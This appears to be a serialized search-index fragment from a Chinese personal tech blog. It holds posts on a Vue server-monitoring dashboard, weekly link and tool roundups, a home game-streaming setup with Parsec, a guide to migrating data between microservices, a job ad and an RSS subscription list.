使用Vue的前段路由，由于是单页应用，所以这里的路由就Page组件。\nexport default new Router({ routes: [ { path: \u0026#39;/\u0026#39;, name: \u0026#39;SystemPage\u0026#39;, component: SystemPage } ] }) 页面 这里是页面的主体部分，原理很简单使用nes 的CSS 来设计一个主容器来包裹其他的状态条。\n\u0026lt;el-main\u0026gt; \u0026lt;div class=\u0026#34;nes-container with-title\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;Basic System Information\u0026lt;/p\u0026gt; \u0026lt;host :info=\u0026#34;host_data\u0026#34;/\u0026gt; \u0026lt;div class=\u0026#34;nes-container with-title is-centered component-container\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;CPU\u0026lt;/p\u0026gt; \u0026lt;cpu :cpu_percent=\u0026#34;cpu_percent\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;nes-container with-title is-centered component-container\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;Memory\u0026lt;/p\u0026gt; \u0026lt;mem :info=\u0026#34;memory_info\u0026#34; :status=\u0026#34;memory_status\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;nes-container with-title is-centered component-container\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;Disk\u0026lt;/p\u0026gt; \u0026lt;disk :partitions=\u0026#34;partitions\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/el-main\u0026gt; 双向绑定 重点在于下面的传说中的Vue 的双向绑定。这里使用hostdata 来举例。因为Hostdata 是不需要进行多次渲染的。所以在组件的 Compute 周期就完成了数据的刷新。这里的函数逻辑主要是对接口的的的数据进行的计算。如此就可将得到的数据返回给 host_data 组件。\ncomputed: { host_data: function() { let hostname = this.host_info.hostname let os = this.host_info.distribution + \u0026#34; (\u0026#34; + this.host_info.kernel + \u0026#34; \u0026#34; + this.host_info.arch + \u0026#34;)\u0026#34; let cpu = \u0026#39;unknown\u0026#39; let aes_ni = false let vm_x_amd_v = false if (this.cpu_info.cores.length \u0026gt; 0) { cpu = this.cpu_info.cores[0].model + \u0026#34; @ \u0026#34; + this.cpu_info.cores[0].mhz aes_ni = this.cpu_info.cores[0].flags.includes(\u0026#34;aes\u0026#34;) vm_x_amd_v = this.cpu_info.cores[0].flags.includes(\u0026#34;vmx\u0026#34;) || this.cpu_info.cores[0].flags.includes(\u0026#34;svm\u0026#34;) } let virt = this.host_info.virtual_platform ? this.host_info.virtual_platform : \u0026#39;unknown\u0026#39; let uptime = this.host_info.uptime let load_avg = this.load_avg let ifces = this.ifces return { hostname, os, cpu, aes_ni, vm_x_amd_v, virt, uptime, load_avg, ifces, } }, }, 而Hostdata 的组件中定义了表单的格式以及内容。通过 info来获取父组件的数据流。但是在Hostinfo 中也是存在动态字段的。\n数据处理 下面是hostdata 的数据处理过的函数，主要是提供了当前流量和当前包接受这种实时数据。里面需要学习的点有\nVue 的过滤器，也就是下面定义的filter 可以用来对 Vue中的插值数据进行处理 这里对网速的计算很巧妙的使用了 sessionStorage 来进行临时的保存。没有使用另一个临时状态。思路可以进行学习。 import {humanSec, humanByte} from \u0026#34;@/common/filters\u0026#34; export default { name: \u0026#34;host\u0026#34;, props: [\u0026#39;info\u0026#39;], methods: { curNetSend: function(curTotalSend) { var lastTotalSend = sessionStorage.getItem(\u0026#34;lastTotalSend\u0026#34;) if (!lastTotalSend) { lastTotalSend = curTotalSend } sessionStorage.setItem(\u0026#34;lastTotalSend\u0026#34;, curTotalSend) return curTotalSend - lastTotalSend }, curNetRecv: function(curTotalRecv) { var lastTotalRecv = sessionStorage.getItem(\u0026#34;lastTotalRecv\u0026#34;) if (!lastTotalRecv) { lastTotalRecv = curTotalRecv } sessionStorage.setItem(\u0026#34;lastTotalRecv\u0026#34;, curTotalRecv) return curTotalRecv - lastTotalRecv } }, filters: { humanSec: function(sec) { return humanSec(sec) }, humanByte: function(size) { return humanByte(size) } }, } 接口数据 在组件的生命周期函数的 Create来进行数据的获取，并且进行数据的解析，来保存到各自的status 去。下面先列生命周期函数：\ncreated() { this.initData() this.initWs() }, destroyed() { this.ws.close() }, InitData 调用前面写的后端的sysinfo接口来获取数据。\ninitData() { this.axios.get(\u0026#34;/sys_info\u0026#34;).then( res =\u0026gt; { this.host_info = res.data.host_info // ... this.timestamp = res.data.timestamp } ).catch(res =\u0026gt; { console.log(res) }) }, InitWs 用来初始化Ws 的连接，这里对于数据的刷新是动态的。\ninitWs() { let wsProtocol = window.location.protocol == \u0026#34;https:\u0026#34; ? \u0026#34;wss://\u0026#34; : \u0026#34;ws://\u0026#34;; let wsPort = window.location.port == \u0026#34;\u0026#34; ? \u0026#34;\u0026#34; : \u0026#34;:\u0026#34; + window.location.port; this.ws = new WebSocket(wsProtocol + window.location.hostname + wsPort + \u0026#34;/ws/sys_status\u0026#34;) this.ws.onopen = this.wsOnOpen this.ws.onerror = this.wsOnError this.ws.onmessage = this.wsOnMessage this.ws.onclose = this.wsOnClose }, wsOnMessage(e) { var systemStatus = JSON.parse(e.data) this.cpu_percent = systemStatus.cpu_percent // ... this.uptime = systemStatus.uptime }, 小结 比较简单的web单页，虽然不难，但是体现了较好的思想。数据初始化，动态渲染。以及分组件。\n后 整体来说项目是比较简单的，自己做一个类似的仿品用来练练手也是可以的。\n","date":"2023-02-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/02/%E9%A1%B9%E7%9B%AE%E5%AD%A6%E4%B9%A0%E5%A2%A8%E9%B1%BC%E6%8E%A2%E9%92%88/","tags":["Learning","opensource"],"title":"[项目学习]墨鱼探针"},{"categories":["每周分享"],"contents":"好文 深入解析Solidity合約\nA simple guide to the Web3 stack\n基于Serverless实现静态博客访问统计功能\nJamstack + Serverless是实现现代Web开发很流行的方式，尤其是在做一些个人项目的时候，一个人就是一个团队。\n好站点 A16Z -web3招聘平台 2023 年7大最佳自由职业者平台 什么值得读\u0026ndash;互联网实用书单库 大学习 计算机系统要素，从零开始构建现代计算机（nand2tetris） 好工具 Tailscale\nZerotier 的竞品实现内网互联的工具，总体体验上比ZT要好。这个不是使用的Libp2p 的方案。而是有中心节点。所以连接质量会好一些。在大陆的体验还是不错的。比起ZT使用过程中的断连稳定不少。\nrtl_433\n这个是比较有意思的项目，可以把SDR/TRL电视棒来昨晚 433射频的接收器。并且可以自动解析常见的射频信号。支持智能家居的设备，可以解析为温度/气压等等。 我这里使用了一个射频按键来接入。 这样的话就可以低成本的方式来实现远程开关灯/门之类的了。\nPushDeer\n其实iOS一直是有小程序的。官方称之为轻APP。这里介绍一款PushDeer，是一个简单易用的 iOS 推送服务。 系统级别的轻量推送，不需要安装任何软件。其功能包括不限于：\n推送路由器和 NAS 的状态、公网 IP 等信息 推送 Wordpress 最新的评论 推送加密货币达到特定价格的通知 在多台设备上推送文本 自动化工具推送定期汇报 withdiode\n一个很有意思的电路模拟的工具，提供了3D的模拟界面。可以直接通过拖动鼠标操作3D的实物模型在面包板上来进行电路的构建。适合电学入门玩玩。\nhappyn\n​\tHappyn一个祖国优化版本的类Zerotier的\n独角数卡\n一款好用的开源发卡平台，可以卖一些账号之类的数字资产。\nNES.css\n预定义的CSS样式，一键把页面变成FC风格。\n","date":"2023-02-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/02/202308/","tags":["Misc"],"title":"2023[08]"},{"categories":["折腾笔记"],"contents":"前 本文将分享一种目前适用于家庭的PC游戏方案，并首先介绍实际的使用体验，让大家判断这种方法是否值得尝试。\n方案大大提升了玩PC游戏的便利性，实现了随开随玩和多设备共享的功能，无论是Mac还是Windows设备，只要连接网络即可游玩。在实际使用中，用来玩如APEX这种需要快速反应的FPS游戏（2k分辨率，120Hz刷新率）基本没有问题（低段位）。甚至在游戏过程中还可以切出回复消息，再返回游戏。\n总的来说，这种方案具备以下优势：\n便携性: 游玩不受主机所在位置的限制，主机可以随处摆放。 即时性: 远程唤醒功能支持随时启动游戏。 可扩展性: 基于网络和VPN的远程游玩支持更多场景。 整体性: 游戏主机作为家庭网络中的一个整体系统。 方案 以下是该方案的具体内容。我们将运行游戏的主机称为“Server”，而用于游玩的客户端称为称为“PC”\n网络部分 游戏串流是一种通过网络将游戏画面从一台设备实时传输到另一台设备的技术，因此网络质量是实现这一方案的关键。\nServer到路由器必须使用有线连接，且使用高规格 CAT6e 的网线。尽可能的减少物理链路上的抖动 建议使用至少 千兆网络（1Gbps）或更高速的网络，保证数据传输的流畅性。 PC端 最好使用网线直连。但是这样减少了我们游玩的便利性。所以这里要求至少使用5G wifi6 路由设置NAT类型是全锥形。这样如果是P2P网络来玩的话可以得到改善。 关闭路由器的巨型帧，会影响无线传输 如果需要通过 VPN 来进行远程游玩，那么ipv6 是必须的 硬件部分 Sever端 显卡欺骗器（最佳），用于欺骗显卡让它来输出图像，需要买到支持你需要显示参数的，例如4k/60Hz。虽然parsec有虚拟USB输出驱动，但是硬件上更可靠， 建议NVIDIA GTX 1660 Super 或以上型号(A卡亦可)，推荐 30/40系列主流显卡，串流过程中需要使用显卡来进行显示流的编码。所以对GPU的性能可能会有10%左右的折损。所以一般情况下需要把推荐配置稍微调低一些。 在BIOS打开主板的 WOL 设置，这样可以使用wol软件来实现远程的一键唤醒和一键开机。 PC端 PCs端可以是任意一台设备，例如PC、笔记本、Mac、甚至平板或智能电视。只需确保设备支持游戏串流软件的安装和运行。 软件部分 parsec 在Server和PC上都安装parsec来用于使用串流的主要功能，这里推荐parsec，因为简单即开即用，高性能，以及支持虚拟麦克风\n下面是一些基础的配置\nQuality ——选择质量，低延迟选择lowest Latency。高质量选择 highest Quality\nFPS —— 服务端锁定的FPS。FPS越高越好，但是需要client支持高fps，否则会导致PC卡顿。如一般的瘦客户机，无法支持144，你这里设置144，性能不够，就会卡。\nresolution —— 分辨率根据你的 PC 显示器进行实际的选取。\nServer 下面是对Server 的系统的一些优化建议\n打开RDP远程桌面服务，用于parsec无法启动时候的备份连接。 afterburner 的OC scan 压榨显卡性能，可以弥补串流编码带来的损失。 PC 如果你是使用的Mac，那么你可能会遇上有间歇性跳ping的问题。初步推测是接力导致的网络抖动。使用下面的命令临时停掉这个网桥。\nsudo ifconfig awdl0 down 后 通过这个方案来搭建一个家庭游戏主机串流系统，可以提供便捷的多端游玩体验。\n无论是在家中的不同房间，还是远程通过VPN访问，都能享受到高质量的游戏体验。\n希望这篇文章能够帮助到想要尝试家庭串流方案的朋友们，如果有任何问题或者建议，欢迎留言讨论！\n","date":"2023-02-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/%E5%AE%B6%E5%BA%AD%E6%B8%B8%E6%88%8F%E4%B8%BB%E6%9C%BA%E4%B8%B2%E6%B5%81%E6%96%B9%E6%A1%88%E5%88%86%E4%BA%AB/","tags":["Homelab"],"title":"家庭游戏主机串流方案分享"},{"categories":["每周分享"],"contents":"标题命名方式换一下，2023[07]意味着这片是2023年第七周的内容，不在使用全局的序号了。这样做的话比较容易标识。\n好文 數位極簡主義，部分1: 我是如何戒除滑手機習慣的\n我越來越頻繁地發現只要我去翻看世界上有什麼事情發生了，那麼我就會近乎不自覺地將這些網址錄入到自己的設備之中。而閱讀所有這些新聞則給我的生活帶來了不必要的壓力。\n死磕以太坊源码分析之txpool\n​\t以太坊的原理分析文章，可以系统的阅读。\n从第一原理理解 rollup 经济学 大学习 Web3 全栈指南\n以太坊(Ethereum) 教程\n白帽与黑客\n好物 小米无线充电宝2 ​\t便携磁吸充电宝，稍了一根线给人带来更好的体验。体验的提升往往是在于细节\n泉胜UVk5手台\n泉胜推出的性价比非常高的一款手台。使用的是液晶点阵屏幕，支持AM航空，支持USBC的直冲。支持扫频。体验远远大于8600/8800 的网红系列。\n","date":"2023-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/02/202307/","tags":["Misc"],"title":"2023[07]"},{"categories":["每周分享"],"contents":"2023 年8大最佳自由职业者平台 找到适合自己的自由职业招聘平台\n寻找最可靠的自由职业网站的过程中，我们评估了业内所有的主流平台，对每一个网站的搜索引擎、自由职业者档案、一般定价体系和客服支持进行了全面测试，确保雇佣流程流畅高效。只有表现出色且能满足我们严格标准的自由职业网站才能入选本榜单。阅读了解哪些网站真正值得信赖。\n2023 年8大最佳自由职业者平台\n远程工作 https://degate.com/\nhttp://cryptocurrencyjobs.co\n申请\nBlockchain DevOps Engineer 区块链运维工程师\n你的工作日常大概如下，但不限于此： 确保云基础设施的性能和可用性 根据业务场景部署和运维Rancher集群 部署和维护区块链节点，包括以太L1/L2等 与开发团队紧密合作，优化CICD流程 及时响应事件并发现潜在问题 保持学习技术并不断优化系统安全性，性能，可用性和可扩展 我们对你的期望： 2年以上DevOps工程师工作经验\n乐意投身区块链行业，对Defi有经验/兴趣\n有Docker和AWS运维经验\n有自动化CICD方面的良好实践\n熟悉Rancher / Kubernetes 架构和组件，在高可用集群设置和维护方面拥有丰富经验\n拥有部署，运维，监控，优化和排除云基础架构故障的经验\n精通Shell脚本，Python等DevOps常用开发语言\n熟悉Docker和Linux内核配置优先\n适应在敏捷环境中工作\n精通中英语\nSingapore - 可以远程\n全职\nTechnology\n独立开发 低代码框架\nhttps://github.com/ToolJet/ToolJet\nLow-code platform for building business applications. Connect to databases, cloud storages, GraphQL, API endpoints, Airtable, Google sheets, OpenAI, etc and build apps using drag and drop application builder. Built using JavaScript/TypeScript. 🚀\nhttps://github.com/appsmithorg/appsmith\nFramework to build admin panels, internal tools, and dashboards. Integrates with 15+ databases and any API.\n","date":"2023-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E8%81%8C%E4%B8%9A%E8%87%AA%E7%94%B1/","tags":["Misc"],"title":"MEV 学习"},{"categories":["读书笔记"],"contents":"Github上的一个python 的书籍的学习笔记，学习一下python 的高级特性以及Jupyter的使用练习\nhttps://github.com/StdioA/fluent-python-notes\n","date":"2023-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/weekly-python-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","tags":["Python","Jupyter"],"title":"python 学习笔记"},{"categories":["每周分享"],"contents":"https://github.com/benjamin-wilson/public-pool\n","date":"2023-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E5%BC%80%E6%BA%90%E7%9F%BF%E6%B1%A0%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/","tags":["Misc"],"title":"开源矿池源码解析"},{"categories":["每周分享"],"contents":"微服务架构下的数据迁移指南 2019-04-08 开发 后端开发, 微服务, 数据迁移 1750 评论 字数统计: 3.2k(字)\n在扇贝，除了 CRUD 以外，做的最多的事情大概也就是数据迁移了，以至于后来简单的数据迁移工作都变成了一种搬砖。今天动笔写一写在扇贝做数据迁移的方法，以及一些需要关注的点。\n0. 为什么要做数据迁移？ 出于架构调整 / 业务调整，我们需要把某个微服务中的数据交给另外一个微服务去管理。 因为每个服务通常会有自己的数据库，而且只会连接到自己的数据库，所以我们在让新的服务接管数据之前，就要保证全部或部分数据已经要在新的数据库中了，这样业务才能够平滑过渡并切换。\n1. 怎么做数据迁移？ 1.1 静态数据迁移 把数据从 A 服务迁移到 B 服务中，所需的步骤：\n把 A 里的数据都取出来 把数据塞进 B 里面 没有了！就这么简单，比“把大象放进冰箱”还少一步~🌝 所以本文到此结束，靴靴你浪费宝贵的一分钟时间来阅读，再会。\n这个方案过于简单，只适用于最最最最最简单的场景。也就是说，当需要迁移的数据基本上是静态的，在业务迁移过程中一点都不会变的时候，才可以用这种方案。 但通常我们需要迁移的数据大多都是用户数据，会不断变化 / 增长，有时还会出现删除的情况，而且数据量较大，这个时候很难再通过静态导出 → 导入的方式迁移数据。\n一般这个时候，我们都会采取双写的方式来迁移数据。\n1.2 基于双写的数据迁移 什么叫“双写”呢？ 简单地讲，就是在 A 的数据发生变化时，通过某种方式（如消息队列，下称 MQ）异步通知到 B，然后 B 业务对数据进行修改。这种方式有点像 MySQL 基于 binlog 的主从同步，主要步骤如下：\n建立双写机制 通过 MQ 建立 A → B 的单向通路，在 A 处理数据修改后，通过 MQ 发送消息，内含一份最新版本的数据； B 在收到消息后，根据消息内容对数据表进行插入或更新操作，以保证数据状态与 MQ 中的消息一致。 这样，A 中的数据更新后，B 中对应的数据也就能很快地同步。 不过，我们在处理消息时，通常会保证处理逻辑是幂等的。幂等逻辑的作用，会在下一步有所体现。 历史数据迁移 上面的通路建立后，最近发生变化的数据会进行更新，但大多数据不会被更改，所以也就不会进行同步。这个时候，就需要我们把所有历史数据全部导入 B 服务中。 但在实际操作中，我们很难判断哪些数据是没有被更新过的历史数据。不过在幂等双写机制的帮助下，我们也不需要做这个判断——编写迁移脚本，直接把表中的数据遍历一遍，通过双写通路发过去就好了，反正相同的消息在 B 那边处理两遍的效果是一样的。 校验数据完整性 通过某些方法（如服务间调用）获取数据，将新老数据进行对比，确保迁移过程中未产生数据不一致的情况。 这样，我们就把 A 数据库中的所有数据都迁移到了 B 数据库中，而且在 A 的数据发生变化的同时，B 也可以在很短的时间内（通常不到 0.5s）完成更新。\n双写时，需要针对不同类型的数据制定不同的迁移方案和消息格式：\n内容数据 内容数据中每行只包含各种内容，这种数据我们通常都会通过主键（如 id 列）去标明唯一性。此时，双写数据应包含行 ID，以及该行下的所有需要迁移的内容。 业务在处理双写数据时，会根据 ID 在数据库中查找。数据不存在时则进行插入，数据存在时则对现有数据进行更新。 关系数据 与内容数据不同，表明实体间关系的数据中主键的地位并没有那么高，真正标明唯一性的字段可能是表中的一到多个外键。此时，双写数据可以不考虑 ID，而只提供外键值和其他附加内容。 类似地，业务在处理数据时，会通过外键来检索现有数据。 缓存数据 这里的“缓存数据”是指由现有内容经加工后生成的数据，比如文本分析结果、或统计数据等。这些数据如果方便重算，则没有迁移的必要——迁移过去重新计算就可以了。 2. 怎么做业务过渡？ 相同的业务逻辑出现两遍，就比较容易破坏两边业务的一致性，所以除了数据迁移外，数据的处理逻辑通常也会由业务 A 迁移至业务 B。这就要求在 B 端构建相同或相似的业务逻辑和接口，然后将 A 端的调用迁移到 B 端去。\n此时通常有三种方案：客户端切换、路由切换和业务代理。不好意思这仨词都是我瞎编的。\n客户端切换 对于后端来说，这是最简单的一种：什么都不用做，只需实现客户端修改代码，将之前对 A 服务的调用改为对 B 服务的调用，这样也就完成了逻辑切换。 但对于某些客户端来说，通过客户端切换所有流量并不现实，所以还是需要在后端实现向前兼容：对老客户端保留老接口，但要通过某种方式将逻辑转移到新服务上。 路由切换 这个涉及到了一些运维操作。简单来讲，就是在 B 服务中实现一份接口，要求与 A 的接口描述与接口逻辑保持完全一致。然后，通过上层服务器的路由规则，将所有 A 的接口调用重定向到 B 即可。 这种方案同样简便可行，但会将业务的特殊规则带到服务器配置中，这样会将配置复杂化，不利于运维操作。 业务代理 这种方法较为复杂，但可以把所有工作量都放在后端，不涉及到其它部门。而且，当 A 中的现有逻辑非常复杂时，通常也只会考虑这种方案。 具体来讲，就是在 B 中实现内部 RPC / API 接口，然后在 A 中移除对现有数据库的读写依赖，改为进行服务间调用。这样，A 的接口得以保留，但业务逻辑已经转移到了 B 中。 3. 一些极端的场景要如何应对？ 3.1 数据可能会被删除 这种情况的解决方案简单粗暴：针对删除的操作新建一条双写通路，或在现有的消息中添加特定信息以标记该消息表示的是更新还是删除操作。 但要注意一点：删除消息的处理逻辑最好也是幂等操作。\n3.2 数据量极大 当数据量很大，如达到亿级别时，迁移历史数据的耗时会很久，此外，幂等逻辑的存在也会拖慢消息的处理速度。 此时，可以考虑进行多段、不同粒度的迁移。\n此前，我们在双写 / 数据迁移时，都是一条一条数据去迁移的，接收端插入数据也同样是一条一条来插入。但如果我们一次性把多条数据进行打包，在一条消息中发送多条数据内容，接收端也就可以使用一条语句来插入多条数据。但这样操作的话，消息处理逻辑的幂等性就很难保证。 所以我们会采用以下策略：\n首先，通过批量迁移的方式迁移数据库中的全部数据，此时没有双写信号，所以消息接收方只负责将数据无脑插入； 第二步，上线针对单条数据的双写逻辑，此时的消息处理应该是幂等的； 第三步，找出所有批量迁移开始后新产生的数据，将其通过双写接口进行迁移； 此时，由于处理方的幂等性，我们只需要保证找到的数据只多不少即可。所以，此步迁移数据的时间点划分可以设为批量迁移开始时间的数小时前。 最后，校验数据完整性。 这样，我们就提高了数据迁移的整体速度。\n举个具体例子来表明成果： 有一个项目需要迁移 3.5 亿左右的数据到新库，而单条数据迁移的吞吐量大概在每分钟 10000 条。按照这个速率，将所有数据完整迁移需要 25 天。 而我们采用了批量迁移的方法，在第一步时，遍历所有用户，将每个用户的所有数据打包为一条消息，并通过 MQ 迁移。这一步只用了 27 个小时就迁移了大部分数据。 然后，上线了幂等的双写逻辑，再花费不到 4 小时对新产生的数据进行迁移。 这样我们只用了不到 31 小时就将所有数据迁移完成，迁移速率提高了 18 倍。 为了保险，我们在批量迁移无人值守（如半夜）的时候把迁移速率调的很低。事实上那个时候是几乎没有请求的，如果把速率调高，可以使批量迁移的时间缩短 4 小时以上。\n此外，在批量迁移的过程中，还可以应用一些小技巧：\n批量迁移时如果单批数据量过大，为避免消息堆积占用 MQ 内存，消息可以在放入 MQ 前进行压缩； 在进行粗粒度数据迁移时，可以考虑关闭或去除接收方的数据库约束检查，以提高接收方数据写入的速率。此时，数据完整性由发送方来保证。粗粒度迁移过后，在上线幂等的细粒度迁移前，再恢复数据库约束。 3.3 无法一次性迁移所有数据逻辑 有时业务逻辑复杂，迁移成本很高，无法一次性地将接口全部迁移过去。这时我们就需要采取一些“曲线救国”的策略，让两端的数据保持一致，且服务同时可用。 为此，我们需要添加 B → A 的反向双写机制。通过 B 服务的接口产生的数据，将会经过反向双写的通道回写至 A 中。这样，两端数据就能保持同步。此时再慢慢地迁移 A 的业务逻辑即可。 不过在构建反向双写时，需要格外注意两端数据流向，以避免双写“死循环”的事故出现。\n3.4 需要对迁移速率进行控制 嘛，这个其实并不是特殊场景了，个人觉得更像是一个编写迁移脚本时的必备需求。\n我们迁移数据时，业务常常都是在线的。如果数据迁移速率过快，会加重数据库的负担，从而给相关业务带来影响；如果迁移速率过慢，又会浪费一些时间。因此，我们要在不影响业务的情况下，尽量快地进行数据迁移。而迁移的速率，可以由我们来控制，从而动态地进行调整。\n常见的调速逻辑如下：\n通过一轮数据库查询，取出一批数据（如 1000 条）； 将这些数据打包成消息发送出去； 从 Redis 的一个键中读取一个值，并依据这个值来 sleep 一段时间； sleep 结束后，再去数据库中取下一批数据。 这样，我们在迁移数据的时候，就可以通过更改 Redis 中的值，来人工干预迁移进程的迁移速率了。\n","date":"2023-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E5%BE%AE%E6%9C%8D%E5%8A%A1%E6%9E%B6%E6%9E%84%E4%B8%8B%E7%9A%84%E6%95%B0%E6%8D%AE%E8%BF%81%E7%A7%BB%E6%8C%87%E5%8D%97/","tags":["Misc"],"title":"微服务架构下的数据迁移指南"},{"categories":["每周分享"],"contents":"我的RSS订阅 有条件的话推荐自建RSSHub，这样还可以添加一些例如B站关注列表之类的功能 客户端 顺便推荐一个一直在用的RSS客户端，没抽到follow的可以用这个 GitHub - Ranchero-Software/NetNewsWire: RSS reader for macOS and iOS. 133 opml文件 Subscriptions-iCloud.opml.zip (5.2 KB)\n资讯 标题 url 爱范儿 爱范儿 42 果核剥壳 果核剥壳 37 华尔街见闻 https://rsshub.app/wallstreetcn/hot 19 极客公园 https://www.geekpark.net/rss 20 掘金后端本周最热 https://rsshub.app/juejin/trending/backend/weekly 13 蓝点网 https://www.landiannews.com/feed 7 联合早报-国际 https://rsshub.app/zaobao/realtime/world 6 联合早报-中国 https://rsshub.app/zaobao/realtime/china 5 人人都是产品经理 https://rsshub.app/woshipm/popular 12 少数派 少数派 13 湾区日报 湾区日报 - 最新推荐 12 SegmentFault行业快讯 https://segmentfault.com/feeds/blog/news 6 Tg频道 标题 url 不求甚解 不求甚解 - Telegram Channel 37 大河马中文财经新闻分享 大河马中文财经新闻分享 - Telegram Channel 7 风向旗参考快讯 风向旗参考快讯 - Telegram Channel 11 广告必须死 广告必须死 - Telegram Channel 27 即刻精选 即刻精选 - Telegram Channel 14 看鉴中国 看鉴中国 OutsightChina - Telegram Channel 8 每日消费电子观察 每日消费电子观察 - Telegram Channel 11 如有乐享 如有乐享 - Telegram Channel 8 软件新闻频道 科技圈🎗在花频道📮 - Telegram Channel 5 瘦瘦的绘画世界 瘦瘦的绘画世界 - Telegram Channel 5 微信搬运工 微信搬运工 - Telegram Channel 28 小声读书 小声读书 🧤 - Telegram Channel 7 竹新社 竹新社 - Telegram Channel 9 APPDO数字生活指南 APPDO 数字生活指南 - Telegram Channel 4 Appinn Appinn Feed 3 Du Rove Du Rove\u0026rsquo;s Channel - Telegram Channel 3 FREE中文 FREE 中文 - Telegram Channel 4 iBeta尝鲜派 iBeta 尝鲜派｜公告栏 - Telegram Channel 11 OLIVIDA OLIVIDA - Telegram Channel 5 Solidot Solidot - Telegram Channel 4 Yummy Yummy 😋 - Telegram Channel 6 即刻圈子 需要把域名替换成自建的rsshub，官方的这块似乎已经down了 标题 url 产品安利社 https://rsshub.app/jike/topic/564c2ce508987312006e2326 10 产品经理的日常 https://rsshub.app/jike/topic/563a2995306dab1300a32227 8 此刻的天空 https://rsshub.app/jike/topic/5a1ccd886b3e9800116b7fe9 3 大产品小细节 https://rsshub.app/jike/topic/57079a1526b0ab12002c29da 1 大公司财报研究所 https://rsshub.app/jike/topic/5742a86291dbb111005958b5 大公司负面监督小组 https://rsshub.app/jike/topic/56947811773a0511001b7cff 工程师的日常 https://rsshub.app/jike/topic/577c5a122fa95b1100da059f 7 杭州吃喝玩乐小分队 https://rsshub.app/jike/topic/5629f54edaf87d13002c9102 2 即刻数码站 https://rsshub.app/jike/topic/59bdc5d8e569780011a4d791 3 今日份摄影 https://rsshub.app/jike/topic/556688fae4b00c57d9dd46ee 4 科技圈大小事 https://rsshub.app/jike/topic/597ae4ac096cde0012cf6c06 4 媒体人的日常 https://rsshub.app/jike/topic/5afd3f39e6e4af00175f5822 1 你不知道的行业内幕 https://rsshub.app/jike/topic/5699f451d3e8351200bffdc8 3 苹果产品爱好者 https://rsshub.app/jike/topic/5be7e755157e6e0016c44e2e 7 人工智能讨论组 https://rsshub.app/jike/topic/55fadac08cc2e30e00e2e42a 2 设计师的日常 https://rsshub.app/jike/topic/5a6e94ef7a263000174589cc 3 手机摄影交流站 https://rsshub.app/jike/topic/5975ed91311d650011d67699 1 无用但有趣的冷知识 https://rsshub.app/jike/topic/557ed045e4b0a573eb66b751 2 心理学研究小组 https://rsshub.app/jike/topic/5635ed20bba31f1100637618 1 一觉醒来发生了什么 https://rsshub.app/jike/topic/text/553870e8e4b0cafb0a1bef68 1 一起聊艺术 https://rsshub.app/jike/topic/57514249a509a012006c7a0a 浴室沉思 https://rsshub.app/jike/topic/5618c159add4471100150637 1 运营的日常 https://rsshub.app/jike/topic/5ab9c9ed2ca389001ba1feb5 2 这些社会新闻都是真的 https://rsshub.app/jike/topic/568e1537fbdba21100fb46b8 2 值得一看的互联网报道 https://rsshub.app/jike/topic/5b3c56e0972c9b0017ede6aa 2 AI探索站 https://rsshub.app/jike/topic/63579abb6724cc583b9bba9a 6 JitHub程序员 https://rsshub.app/jike/topic/55e02198dcef9f0e00d7b3c3 9 Mac爱好者小站 https://rsshub.app/jike/topic/5806f701c8e0ff12004c1e94 4 Switch玩家俱乐部 https://rsshub.app/jike/topic/58abefa298b0fe00155d93b0 2 期刊 标题 url 1Link.Fun https://rsshub.app/zhubai/posts/happyfire 9 财新周刊 https://rsshub.app/caixin/weekly 10 潮流周刊 https://weekly.tw93.fun/rss.xml 4 老胡的周刊 https://weekly.howie6879.com/rss/rss.xml 4 让小产品的独立变现更简单 https://www.ezindie.com/feed/rss.xml 5 阮一峰的网络日志 https://www.ruanyifeng.com/blog/atom.xml 7 偷懒爱好者周刊 https://rsshub.app/zhubai/posts/toolight 5 熊言熊语 https://rsshub.app/zhubai/posts/kaopubear 4 竹白上周热门Top20 https://rsshub.app/zhubai/top20 6 子舒 https://zishu.me/index.xml 3 DecoHack周刊 https://rsshub.app/zhubai/posts/decohack 3 HelloGithub https://hellogithub.com/rss 8 博客 标题 url Goalonez https://blog.goalonez.site/feed.xml 9 宝硕 https://blog.baoshuo.ren/atom.xml 4 被删 https://godbasin.github.io/atom.xml 3 程序员的喵 https://catcoding.me/atom.xml 12 构建我的被动收入 https://www.bmpi.dev/index.xml 16 虹线 https://1q43.blog/feed 4 罗磊的独立博客 https://rsshub.app/luolei 3 美团技术团队 https://tech.meituan.com/feed/ 5 面向信仰编程 https://draveness.me/feed.xml 5 陪她去流浪 https://blog.twofei.com/rss 2 苹果fans https://www.mac52ipod.cn/feed.php 1 神楽坂 玉兔 https://www.54yt.net/feed 3 王登科 https://greatdk.com/feed 1 月光博客 https://www.williamlong.info/feed 2 子方有料 https://rsshub.app/ippa 4 August https://www.augusts.me/feed 1 freelancer-x http://freelancer-x.com/feed GeekPlux https://geekplux.com/feed.xml 1 GeekPlux-letters https://letters.geekplux.com/rss/ Guyskk https://blog.guyskk.com/feed.xml 1 iDese https://idese.co/feed/ KAIX.IN https://kaix.in/feed/ linmi https://linmi.cc/feed Luyu Huang https://luyuhuang.tech/feed.xml Pseudoyu https://www.pseudoyu.com/zh/index.xml 2 Simon https://song.al/feed.xml 3 sugarat.top https://sugarat.top/feed.rss Wincer https://blog.itswincer.com/atom.xml Xargin https://xargin.com/rss/ ziglang https://ziglang.cc/index.xml 2 Youtube 标题 url 频道订阅 